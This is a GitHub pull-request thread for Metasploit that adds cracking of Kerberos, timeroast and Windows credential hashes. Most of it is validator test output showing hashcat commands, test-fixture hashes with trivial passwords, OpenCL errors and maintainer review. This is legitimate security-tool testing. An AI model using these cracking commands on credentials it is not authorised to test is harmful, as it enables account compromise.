 1847   krb5tgs-aes256  krb5tgs-aes256   hashcat           Wordlist

[*] Cracking timeroast hashes in wordlist mode...
[*]    Cracking Command: /usr/bin/hashcat --session=nOXPhlbN --logfile-disable --quiet --username --potfile-path=/tmp/john_pot20260524-947659-diendb --hash-type=31300 -O --attack-mode=0 /tmp/hashes_timeroast_20260524-947665-qzmu1 /tmp/jtrtmp20260524-947665-qoegx6
[*] $sntp-ms$cfc7023381cf6bb474cdcbeb0a67bdb3$907733697536811342962140955567108526489624716566696971338784438986103976327367763739445744705380:hashcat
XXX check_results function prior to process_crack_results: {"hash_type"=>"timeroast", "method"=>"Wordlist", "core_id"=>"1848", "hash"=>"$sntp-ms$cfc7023381cf6bb474cdcbeb0a67bdb3$907733697536811342962140955567108526489624716566696971338784438986103976327367763739445744705380", "password"=>"hashcat", "username"=>"timeroast"}
[+] Cracked Hashes
==============

 DB ID  Hash Type       Username         Cracked Password  Method
 -----  ---------       --------         ----------------  ------
 1839   nt              nt_password      password          Wordlist
 1840   netntlm         u4-netntlm       hashcat           Wordlist
 1841   netntlmv2       admin            hashcat           Wordlist
 1842   mscash          mscash-test1     test1             Wordlist
 1843   mscash2         mscash2-hashcat  hashcat           Wordlist
 1844   krb5asrep       krb5asrep        hashcat           Wordlist
 1845   krb5tgs         krb5tgs          hashcat           Wordlist
 1846   krb5tgs-aes128  krb5tgs-aes128   hashcat           Wordlist
 1847   krb5tgs-aes256  krb5tgs-aes256   hashcat           Wordlist
 1848   timeroast       timeroast        hashcat           Wordlist

[*] Auxiliary module execution completed
Credentials
===========

id    host  origin  service  public           private                                                                                   realm  private_type        JtR Format      cracked_password
--    ----  ------  -------  ------           -------                                                                                   -----  ------------        ----------      ----------------
1838                         lm_password      e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c                                NTLM hash           nt,lm
1839                         nt_password      aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c                                NTLM hash           nt,lm           password
1840                         u4-netntlm       u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a (TRUNCATED)         Nonreplayable hash  netntlm         hashcat
1841                         admin            admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c783031 (TRUNCATED)         Nonreplayable hash  netntlmv2       hashcat
1842                         mscash-test1     M$test1#64cd29e36a8431a2b111378564a10631                                                         Nonreplayable hash  mscash          test1
1843                         mscash2-hashcat  $DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90f                                                 Nonreplayable hash  mscash2         hashcat
1844                         krb5asrep        $krb5asrep$23$user@domain.com:3e156ada591263b8aab0965f5aebd837$007497cb51b6c (TRUNCATED)         Nonreplayable hash  krb5asrep       hashcat
1845                         krb5tgs          $krb5tgs$23$*user$realm$test/spn*$63386d22d359fe42230300d56852c9eb$891ad31d0 (TRUNCATED)         Nonreplayable hash  krb5tgs         hashcat
1846                         krb5tgs-aes128   $krb5tgs$17$user$realm$ae8434177efd09be5bc2eff8$90b4ce5b266821adc26c64f71958 (TRUNCATED)         Nonreplayable hash  krb5tgs-aes128  hashcat
1847                         krb5tgs-aes256   $krb5tgs$18$user$realm$8efd91bb01cc69dd07e46009$7352410d6aafd72c64972a66058b (TRUNCATED)         Nonreplayable hash  krb5tgs-aes256  hashcat
1848                         timeroast        $sntp-ms$cfc7023381cf6bb474cdcbeb0a67bdb3$9077336975368113429621409555671085 (TRUNCATED)         Nonreplayable hash  timeroast       hashcat

[*] Deleted 21 creds
[*] Server stopped.
[ERROR]   Section Runtime: 325.05460116 seconds
[ERROR]   STDERR: Mixing --show with --username or --dynamic-x can cause exponential delay in output.

4 errors generated.
clCompileProgram(): CL_COMPILE_PROGRAM_FAILURE

* Device #1: Kernel /usr/share/hashcat/OpenCL/m03000_a0-pure.cl build failed.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

[ERROR] Credential verification failed. Exiting.

Test 14

I gave it a while to run and it never really completed, will need to look into this more.

Test 19 (pass)

Click to expand

$ tools/dev/hash_cracker_validator.rb -t 19
[WARNING] WARNING: All credentials will be deleted as part of this script execution!
[INFO] Wordlist file created at: /tmp/wordlist20260524-999123-8tuzqj
[INFO] Pot file created at: /tmp/john_pot20260524-999123-mjv568
[INFO] [19/24] Running windows hashes in hashcat pot mode...
[GOOD]   SUCCESS: All expected outputs found.
[GOOD]   Section Runtime: 24.26300887 seconds
-------------------------------
[GOOD] All checks passed successfully!
[INFO] Script runtime: 24.265160021 seconds

h00die · 2026-05-25T11:43:58Z

Still working on test 14, found some bugs, hoping to finish it up today though

h00die · 2026-05-25T14:04:26Z

All tests (except the opencl issues noted above) are now passing for me. This is ready to review @jheysel-r7

jheysel-r7

Awesome - thanks for wrapping this up @h00die! I've confirmed this is all working as expected. I'm also seeing the exact same OpenCL / POCL kernel issue when attempting to crack the lm hash with hashcat, which I completely agree, is not an issue with the validator or the tests, rather an issue with our environments. Landing now

Testing 3,14,19

┌──(msfuser㉿kali)-[~/git/metasploit-framework]
└─$ tools/dev/hash_cracker_validator.rb -t 3,14,19
[WARNING] WARNING: All credentials will be deleted as part of this script execution!
[INFO] Wordlist file created at: /tmp/wordlist20260526-388551-t770x6
[INFO] Pot file created at: /tmp/john_pot20260526-388551-qfra40
[INFO] [3/24] Running windows hashes in john wordlist mode...
[GOOD]   SUCCESS: All expected outputs found.
[GOOD]   Section Runtime: 13.481283858 seconds
[INFO] [14/24] Running windows hashes in john pot mode...
[GOOD]   SUCCESS: All expected outputs found.
[GOOD]   Section Runtime: 8.14446149 seconds
[INFO] [19/24] Running windows hashes in hashcat pot mode...
[GOOD]   SUCCESS: All expected outputs found.
[GOOD]   Section Runtime: 10.060002756 seconds
-------------------------------
[GOOD] All checks passed successfully!
[INFO] Script runtime: 31.688564577 seconds

Testing 8

┌──(msfuser㉿kali)-[~/git/metasploit-framework]
└─$ tools/dev/hash_cracker_validator.rb -t 8
[WARNING] WARNING: All credentials will be deleted as part of this script execution!
[INFO] Wordlist file created at: /tmp/wordlist20260526-404419-4wq4t5
[INFO] Pot file created at: /tmp/john_pot20260526-404419-sinklg
[INFO] [8/24] Running windows hashes in hashcat wordlist mode...
[ERROR]   FAILURE: Expected output not found for regex: /lm_password\s+e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c\s+NTLM hash\s+nt,lm\s+PASSWORD$/i
[ERROR]   STDOUT: [*] Starting persistent handler(s)...
INCREMENTAL => false
NORMAL => false
USE_CREDS => false
USE_DB_INFO => false
USE_DEFAULT_WORDLIST => false
USE_HOSTNAMES => false
USE_ROOT_WORDS => false
WORDLIST => true
verbose => true
[*] Setting default action auto - view all 3 actions with the show actions command
CUSTOM_WORDLIST => /tmp/wordlist20260526-404419-4wq4t5
POT => /tmp/john_pot20260526-404419-b5lhw6
action => hashcat
[+] hashcat Version Detected: v7.1.2
[*] Wordlist file written out to /tmp/jtrtmp20260526-404423-kvm1eo
[*] Checking lm hashes already cracked...
[*] Cracking lm hashes in wordlist mode...
[*]    Cracking Command: /usr/bin/hashcat --session=2f01WcYt --logfile-disable --quiet --username --potfile-path=/tmp/john_pot20260526-404419-b5lhw6 --hash-type=3000 -O --attack-mode=0 /tmp/hashes_lm_20260526-404423-89pl2q /tmp/jtrtmp20260526-404423-kvm1eo
[*] error: /home/msfuser/.cache/pocl/kcache/tempfile_bPX6wJ.cl:122:43: passing '__local u32 (*)[64]' (aka '__local unsigned int (*)[64]') to parameter of type '__constant u32 (*)[64]' (aka '__constant unsigned int (*)[64]') changes address space of pointer
[*] error: /home/msfuser/.cache/pocl/kcache/tempfile_bPX6wJ.cl:131:46: passing '__local u32 (*)[64]' (aka '__local unsigned int (*)[64]') to parameter of type '__constant u32 (*)[64]' (aka '__constant unsigned int (*)[64]') changes address space of pointer
[*] error: /home/msfuser/.cache/pocl/kcache/tempfile_bPX6wJ.cl:222:43: passing '__local u32 (*)[64]' (aka '__local unsigned int (*)[64]') to parameter of type '__constant u32 (*)[64]' (aka '__constant unsigned int (*)[64]') changes address space of pointer
[*] error: /home/msfuser/.cache/pocl/kcache/tempfile_bPX6wJ.cl:231:46: passing '__local u32 (*)[64]' (aka '__local unsigned int (*)[64]') to parameter of type '__constant u32 (*)[64]' (aka '__constant unsigned int (*)[64]') changes address space of pointer
[*] Device cpu-haswell-Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz failed to build the program
[*]
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username  Cracked Password  Method
 -----  ---------  --------  ----------------  ------

[*] Checking nt hashes already cracked...
[*] Cracking nt hashes in wordlist mode...
[*]    Cracking Command: /usr/bin/hashcat --session=QXo7Jbk6 --logfile-disable --quiet --username --potfile-path=/tmp/john_pot20260526-404419-b5lhw6 --hash-type=1000 -O --attack-mode=0 /tmp/hashes_nt_20260526-404423-d8jqx7 /tmp/jtrtmp20260526-404423-kvm1eo
[*] 8846f7eaee8fb117ad06bdd830b7586c:password
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username     Cracked Password  Method
 -----  ---------  --------     ----------------  ------
 440    nt         nt_password  password          Wordlist

[*] Checking mscash hashes already cracked...
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username     Cracked Password  Method
 -----  ---------  --------     ----------------  ------
 440    nt         nt_password  password          Wordlist

[*] Cracking mscash hashes in wordlist mode...
[*]    Cracking Command: /usr/bin/hashcat --session=d789op7k --logfile-disable --quiet --username --potfile-path=/tmp/john_pot20260526-404419-b5lhw6 --hash-type=1100 -O --attack-mode=0 /tmp/hashes_mscash_20260526-404423-7v8k2b /tmp/jtrtmp20260526-404423-kvm1eo
[*] 64cd29e36a8431a2b111378564a10631:test1:test1
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username      Cracked Password  Method
 -----  ---------  --------      ----------------  ------
 440    nt         nt_password   password          Wordlist
 443    mscash     mscash-test1  test1             Wordlist

[*] Checking mscash2 hashes already cracked...
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username      Cracked Password  Method
 -----  ---------  --------      ----------------  ------
 440    nt         nt_password   password          Wordlist
 443    mscash     mscash-test1  test1             Wordlist

[*] Cracking mscash2 hashes in wordlist mode...
[*]    Cracking Command: /usr/bin/hashcat --session=0nZqIb9g --logfile-disable --quiet --username --potfile-path=/tmp/john_pot20260526-404419-b5lhw6 --hash-type=2100 -O --attack-mode=0 /tmp/hashes_mscash2_20260526-404423-e6enpk /tmp/jtrtmp20260526-404423-kvm1eo
[*] $DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90f:hashcat
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username         Cracked Password  Method
 -----  ---------  --------         ----------------  ------
 440    nt         nt_password      password          Wordlist
 443    mscash     mscash-test1     test1             Wordlist
 444    mscash2    mscash2-hashcat  hashcat           Wordlist

[*] Checking netntlm hashes already cracked...
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username         Cracked Password  Method
 -----  ---------  --------         ----------------  ------
 440    nt         nt_password      password          Wordlist
 443    mscash     mscash-test1     test1             Wordlist
 444    mscash2    mscash2-hashcat  hashcat           Wordlist

[*] Cracking netntlm hashes in wordlist mode...
[*]    Cracking Command: /usr/bin/hashcat --session=H0RKh4ui --logfile-disable --quiet --username --potfile-path=/tmp/john_pot20260526-404419-b5lhw6 --hash-type=5500 -O --attack-mode=0 /tmp/hashes_netntlm_20260526-404423-mjllzo /tmp/jtrtmp20260526-404423-kvm1eo
[*] u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c:hashcat
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username         Cracked Password  Method
 -----  ---------  --------         ----------------  ------
 440    nt         nt_password      password          Wordlist
 441    netntlm    u4-netntlm       hashcat           Wordlist
 443    mscash     mscash-test1     test1             Wordlist
 444    mscash2    mscash2-hashcat  hashcat           Wordlist

[*] Checking netntlmv2 hashes already cracked...
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username         Cracked Password  Method
 -----  ---------  --------         ----------------  ------
 440    nt         nt_password      password          Wordlist
 441    netntlm    u4-netntlm       hashcat           Wordlist
 443    mscash     mscash-test1     test1             Wordlist
 444    mscash2    mscash2-hashcat  hashcat           Wordlist

[*] Cracking netntlmv2 hashes in wordlist mode...
[*]    Cracking Command: /usr/bin/hashcat --session=1PFVaD8q --logfile-disable --quiet --username --potfile-path=/tmp/john_pot20260526-404419-b5lhw6 --hash-type=5600 -O --attack-mode=0 /tmp/hashes_netntlmv2_20260526-404423-5dtf73 /tmp/jtrtmp20260526-404423-kvm1eo
[*] ADMIN::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030:hashcat
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username         Cracked Password  Method
 -----  ---------  --------         ----------------  ------
 440    nt         nt_password      password          Wordlist
 441    netntlm    u4-netntlm       hashcat           Wordlist
 442    netntlmv2  admin            hashcat           Wordlist
 443    mscash     mscash-test1     test1             Wordlist
 444    mscash2    mscash2-hashcat  hashcat           Wordlist

[*] Checking krb5tgs hashes already cracked...
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username         Cracked Password  Method
 -----  ---------  --------         ----------------  ------
 440    nt         nt_password      password          Wordlist
 441    netntlm    u4-netntlm       hashcat           Wordlist
 442    netntlmv2  admin            hashcat           Wordlist
 443    mscash     mscash-test1     test1             Wordlist
 444    mscash2    mscash2-hashcat  hashcat           Wordlist

[*] Cracking krb5tgs hashes in wordlist mode...
[*]    Cracking Command: /usr/bin/hashcat --session=oLCl2I04 --logfile-disable --quiet --username --potfile-path=/tmp/john_pot20260526-404419-b5lhw6 --hash-type=13100 -O --attack-mode=0 /tmp/hashes_krb5tgs_20260526-404423-1z50ya /tmp/jtrtmp20260526-404423-kvm1eo
[*] $krb5tgs$23$*user$realm$test/spn*$63386d22d359fe42230300d56852c9eb$891ad31d09ab89c6b3b8c5e5de6c06a7f49fd559d7a9a3c32576c8fedf705376cea582ab5938f7fc8bc741acf05c5990741b36ef4311fe3562a41b70a4ec6ecba849905f2385bb3799d92499909658c7287c49160276bca0006c350b0db4fd387adc27c01e9e9ad0c20ed53a7e6356dee2452e35eca2a6a1d1432796fc5c19d068978df74d3d0baf35c77de12456bf1144b6a750d11f55805f5a16ece2975246e2d026dce997fba34ac8757312e9e4e6272de35e20d52fb668c5ed:hashcat
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username         Cracked Password  Method
 -----  ---------  --------         ----------------  ------
 440    nt         nt_password      password          Wordlist
 441    netntlm    u4-netntlm       hashcat           Wordlist
 442    netntlmv2  admin            hashcat           Wordlist
 443    mscash     mscash-test1     test1             Wordlist
 444    mscash2    mscash2-hashcat  hashcat           Wordlist
 446    krb5tgs    krb5tgs          hashcat           Wordlist

[*] Checking krb5tgs-aes128 hashes already cracked...
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username         Cracked Password  Method
 -----  ---------  --------         ----------------  ------
 440    nt         nt_password      password          Wordlist
 441    netntlm    u4-netntlm       hashcat           Wordlist
 442    netntlmv2  admin            hashcat           Wordlist
 443    mscash     mscash-test1     test1             Wordlist
 444    mscash2    mscash2-hashcat  hashcat           Wordlist
 446    krb5tgs    krb5tgs          hashcat           Wordlist

[*] Cracking krb5tgs-aes128 hashes in wordlist mode...
[*]    Cracking Command: /usr/bin/hashcat --session=fPzZtSz4 --logfile-disable --quiet --username --potfile-path=/tmp/john_pot20260526-404419-b5lhw6 --hash-type=19600 -O --attack-mode=0 /tmp/hashes_krb5tgs-aes128_20260526-404423-4v9yzy /tmp/jtrtmp20260526-404423-kvm1eo
[*] $krb5tgs$17$user$realm$ae8434177efd09be5bc2eff8$90b4ce5b266821adc26c64f71958a475cf9348fce65096190be04f8430c4e0d554c86dd7ad29c275f9e8f15d2dab4565a3d6e21e449dc2f88e52ea0402c7170ba74f4af037c5d7f8db6d53018a564ab590fc23aa1134788bcc4a55f69ec13c0a083291a96b41bffb978f5a160b7edc828382d11aacd89b5a1bfa710b0e591b190bff9062eace4d26187777db358e70efd26df9c9312dbeef20b1ee0d823d4e71b8f1d00d91ea017459c27c32dc20e451ea6278be63cdd512ce656357c942b95438228e:hashcat
[+] Cracked Hashes
==============

 DB ID  Hash Type       Username         Cracked Password  Method
 -----  ---------       --------         ----------------  ------
 440    nt              nt_password      password          Wordlist
 441    netntlm         u4-netntlm       hashcat           Wordlist
 442    netntlmv2       admin            hashcat           Wordlist
 443    mscash          mscash-test1     test1             Wordlist
 444    mscash2         mscash2-hashcat  hashcat           Wordlist
 446    krb5tgs         krb5tgs          hashcat           Wordlist
 447    krb5tgs-aes128  krb5tgs-aes128   hashcat           Wordlist

[*] Checking krb5tgs-aes256 hashes already cracked...
[+] Cracked Hashes
==============

 DB ID  Hash Type       Username         Cracked Password  Method
 -----  ---------       --------         ----------------  ------
 440    nt              nt_password      password          Wordlist
 441    netntlm         u4-netntlm       hashcat           Wordlist
 442    netntlmv2       admin            hashcat           Wordlist
 443    mscash          mscash-test1     test1             Wordlist
 444    mscash2         mscash2-hashcat  hashcat           Wordlist
 446    krb5tgs         krb5tgs          hashcat           Wordlist
 447    krb5tgs-aes128  krb5tgs-aes128   hashcat           Wordlist

[*] Cracking krb5tgs-aes256 hashes in wordlist mode...
[*]    Cracking Command: /usr/bin/hashcat --session=4WVBpW2S --logfile-disable --quiet --username --potfile-path=/tmp/john_pot20260526-404419-b5lhw6 --hash-type=19700 -O --attack-mode=0 /tmp/hashes_krb5tgs-aes256_20260526-404423-vglg99 /tmp/jtrtmp20260526-404423-kvm1eo
[*] $krb5tgs$18$user$realm$8efd91bb01cc69dd07e46009$7352410d6aafd72c64972a66058b02aa1c28ac580ba41137d5a170467f06f17faf5dfb3f95ecf4fad74821fdc7e63a3195573f45f962f86942cb24255e544ad8d05178d560f683a3f59ce94e82c8e724a3af0160be549b472dd83e6b80733ad349973885e9082617294c6cbbea92349671883eaf068d7f5dcfc0405d97fda27435082b82b24f3be27f06c19354bf32066933312c770424eb6143674756243c1bde78ee3294792dcc49008a1b54f32ec5d5695f899946d42a67ce2fb1c227cb1d2004c0:hashcat
[+] Cracked Hashes
==============

 DB ID  Hash Type       Username         Cracked Password  Method
 -----  ---------       --------         ----------------  ------
 440    nt              nt_password      password          Wordlist
 441    netntlm         u4-netntlm       hashcat           Wordlist
 442    netntlmv2       admin            hashcat           Wordlist
 443    mscash          mscash-test1     test1             Wordlist
 444    mscash2         mscash2-hashcat  hashcat           Wordlist
 446    krb5tgs         krb5tgs          hashcat           Wordlist
 447    krb5tgs-aes128  krb5tgs-aes128   hashcat           Wordlist
 448    krb5tgs-aes256  krb5tgs-aes256   hashcat           Wordlist

[*] Checking krb5asrep hashes already cracked...
[+] Cracked Hashes
==============

 DB ID  Hash Type       Username         Cracked Password  Method
 -----  ---------       --------         ----------------  ------
 440    nt              nt_password      password          Wordlist
 441    netntlm         u4-netntlm       hashcat           Wordlist
 442    netntlmv2       admin            hashcat           Wordlist
 443    mscash          mscash-test1     test1             Wordlist
 444    mscash2         mscash2-hashcat  hashcat           Wordlist
 446    krb5tgs         krb5tgs          hashcat           Wordlist
 447    krb5tgs-aes128  krb5tgs-aes128   hashcat           Wordlist
 448    krb5tgs-aes256  krb5tgs-aes256   hashcat           Wordlist

[*] Cracking krb5asrep hashes in wordlist mode...
[*]    Cracking Command: /usr/bin/hashcat --session=MZRTCmW8 --logfile-disable --quiet --username --potfile-path=/tmp/john_pot20260526-404419-b5lhw6 --hash-type=18200 -O --attack-mode=0 /tmp/hashes_krb5asrep_20260526-404423-i0qw70 /tmp/jtrtmp20260526-404423-kvm1eo
[*] $krb5asrep$23$user@domain.com:3e156ada591263b8aab0965f5aebd837$007497cb51b6c8116d6407a782ea0e1c5402b17db7afa6b05a6d30ed164a9933c754d720e279c6c573679bd27128fe77e5fea1f72334c1193c8ff0b370fadc6368bf2d49bbfdba4c5dccab95e8c8ebfdc75f438a0797dbfb2f8a1a5f4c423f9bfc1fea483342a11bd56a216f4d5158ccc4b224b52894fadfba3957dfe4b6b8f5f9f9fe422811a314768673e0c924340b8ccb84775ce9defaa3baa0910b676ad0036d13032b0dd94e3b13903cc738a7b6d00b0b3c210d1f972a6c7cae9bd3c959acf7565be528fc179118f28c679f6deeee1456f0781eb8154e18e49cb27b64bf74cd7112a0ebae2102ac:hashcat
[+] Cracked Hashes
==============

 DB ID  Hash Type       Username         Cracked Password  Method
 -----  ---------       --------         ----------------  ------
 440    nt              nt_password      password          Wordlist
 441    netntlm         u4-netntlm       hashcat           Wordlist
 442    netntlmv2       admin            hashcat           Wordlist
 443    mscash          mscash-test1     test1             Wordlist
 444    mscash2         mscash2-hashcat  hashcat           Wordlist
 445    krb5asrep       krb5asrep        hashcat           Wordlist
 446    krb5tgs         krb5tgs          hashcat           Wordlist
 447    krb5tgs-aes128  krb5tgs-aes128   hashcat           Wordlist
 448    krb5tgs-aes256  krb5tgs-aes256   hashcat           Wordlist

[*] Checking timeroast hashes already cracked...
[+] Cracked Hashes
==============

 DB ID  Hash Type       Username         Cracked Password  Method
 -----  ---------       --------         ----------------  ------
 440    nt              nt_password      password          Wordlist
 441    netntlm         u4-netntlm       hashcat           Wordlist
 442    netntlmv2       admin            hashcat           Wordlist
 443    mscash          mscash-test1     test1             Wordlist
 444    mscash2         mscash2-hashcat  hashcat           Wordlist
 445    krb5asrep       krb5asrep        hashcat           Wordlist
 446    krb5tgs         krb5tgs          hashcat           Wordlist
 447    krb5tgs-aes128  krb5tgs-aes128   hashcat           Wordlist
 448    krb5tgs-aes256  krb5tgs-aes256   hashcat           Wordlist

[*] Cracking timeroast hashes in wordlist mode...
[*]    Cracking Command: /usr/bin/hashcat --session=w96af0X3 --logfile-disable --quiet --username --potfile-path=/tmp/john_pot20260526-404419-b5lhw6 --hash-type=31300 -O --attack-mode=0 /tmp/hashes_timeroast_20260526-404423-j27nvh /tmp/jtrtmp20260526-404423-kvm1eo
[*] $sntp-ms$cfc7023381cf6bb474cdcbeb0a67bdb3$907733697536811342962140955567108526489624716566696971338784438986103976327367763739445744705380:hashcat
[+] Cracked Hashes
==============

 DB ID  Hash Type       Username         Cracked Password  Method
 -----  ---------       --------         ----------------  ------
 440    nt              nt_password      password          Wordlist
 441    netntlm         u4-netntlm       hashcat           Wordlist
 442    netntlmv2       admin            hashcat           Wordlist
 443    mscash          mscash-test1     test1             Wordlist
 444    mscash2         mscash2-hashcat  hashcat           Wordlist
 445    krb5asrep       krb5asrep        hashcat           Wordlist
 446    krb5tgs         krb5tgs          hashcat           Wordlist
 447    krb5tgs-aes128  krb5tgs-aes128   hashcat           Wordlist
 448    krb5tgs-aes256  krb5tgs-aes256   hashcat           Wordlist
 449    timeroast       timeroast        hashcat           Wordlist

[-] Auxiliary failed: Errno::ENOENT No such file or directory @ apply2files - /tmp/hashes_lm_20260526-404423-89pl2q
[-] Call stack:
[-]   /home/msfuser/git/metasploit-framework/modules/auxiliary/analyze/crack_windows.rb:325:in `delete'
[-]   /home/msfuser/git/metasploit-framework/modules/auxiliary/analyze/crack_windows.rb:325:in `block in run'
[-]   /home/msfuser/git/metasploit-framework/modules/auxiliary/analyze/crack_windows.rb:324:in `each'
[-]   /home/msfuser/git/metasploit-framework/modules/auxiliary/analyze/crack_windows.rb:324:in `run'
[*] Auxiliary module execution completed
Credentials
===========

id   host  origin  service  public           private                                                                                   realm  private_type        JtR Format      cracked_password
--   ----  ------  -------  ------           -------                                                                                   -----  ------------        ----------      ----------------
439                         lm_password      e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c                                NTLM hash           nt,lm
440                         nt_password      aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c                                NTLM hash           nt,lm           password
441                         u4-netntlm       u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a (TRUNCATED)         Nonreplayable hash  netntlm         hashcat
442                         admin            admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c783031 (TRUNCATED)         Nonreplayable hash  netntlmv2       hashcat
443                         mscash-test1     M$test1#64cd29e36a8431a2b111378564a10631                                                         Nonreplayable hash  mscash          test1
444                         mscash2-hashcat  $DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90f                                                 Nonreplayable hash  mscash2         hashcat
445                         krb5asrep        $krb5asrep$23$user@domain.com:3e156ada591263b8aab0965f5aebd837$007497cb51b6c (TRUNCATED)         Nonreplayable hash  krb5asrep       hashcat
446                         krb5tgs          $krb5tgs$23$*user$realm$test/spn*$63386d22d359fe42230300d56852c9eb$891ad31d0 (TRUNCATED)         Nonreplayable hash  krb5tgs         hashcat
447                         krb5tgs-aes128   $krb5tgs$17$user$realm$ae8434177efd09be5bc2eff8$90b4ce5b266821adc26c64f71958 (TRUNCATED)         Nonreplayable hash  krb5tgs-aes128  hashcat
448                         krb5tgs-aes256   $krb5tgs$18$user$realm$8efd91bb01cc69dd07e46009$7352410d6aafd72c64972a66058b (TRUNCATED)         Nonreplayable hash  krb5tgs-aes256  hashcat
449                         timeroast        $sntp-ms$cfc7023381cf6bb474cdcbeb0a67bdb3$9077336975368113429621409555671085 (TRUNCATED)         Nonreplayable hash  timeroast       hashcat

[*] Deleted 21 creds

[ERROR]   Section Runtime: 40.365181365 seconds
[ERROR]   STDERR: Mixing --show with --username or --dynamic-x can cause exponential delay in output.

4 errors generated.
clCompileProgram(): CL_COMPILE_PROGRAM_FAILURE

* Device #1: Kernel /usr/share/hashcat/OpenCL/m03000_a0-pure.cl build failed.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

[ERROR] Credential verification failed. Exiting.

jheysel-r7 · 2026-05-26T22:33:44Z

Release Notes

This adds support for cracking Kerberos type hashes in metasploit, specifically timeroasting, krb5tgs* and krb5asrep.

h00die added the enhancement label Jan 18, 2026

sjanusz-r7 reviewed Jan 22, 2026

View reviewed changes

smcintyre-r7 assigned jheysel-r7 Jan 26, 2026

smcintyre-r7 added this to Metasploit Kanban Jan 26, 2026

github-project-automation Bot moved this to Todo in Metasploit Kanban Jan 26, 2026

h00die force-pushed the krb5tgs_rc4 branch 2 times, most recently from 05b99e1 to e01f5f9 Compare February 1, 2026 22:48

h00die mentioned this pull request Mar 11, 2026

Cracked Credentials not linking right #21098

Closed

h00die mentioned this pull request Apr 11, 2026

update-crack_windows-module #21272

Closed

sjanusz-r7 mentioned this pull request Apr 17, 2026

Add username lookup fallback to creds rapid7/metasploit-credential#199

Merged

h00die force-pushed the krb5tgs_rc4 branch from 8d75f80 to c768cfa Compare May 8, 2026 10:16

This was referenced May 11, 2026

Bump metasploit-credential to 6.0.24 #21443

Merged

Kerberoasting Improvements - Doc Update + Realm Fix #21447

Merged

h00die force-pushed the krb5tgs_rc4 branch from c768cfa to bcfda40 Compare May 18, 2026 17:53

h00die and others added 8 commits May 20, 2026 15:27

kerberoast hash types added for cracking

bc26fed

kerberoast hash types added for cracking

f28a84a

finish fixing up hash_cracker_validator

1007648

take incoming

8e3580b

kerberoast cracking updates

75f28b5

remove bad rebase items

c54d005

hash_crack_validator rewite and john krb5tgs working

55934bb

testing

04743e8

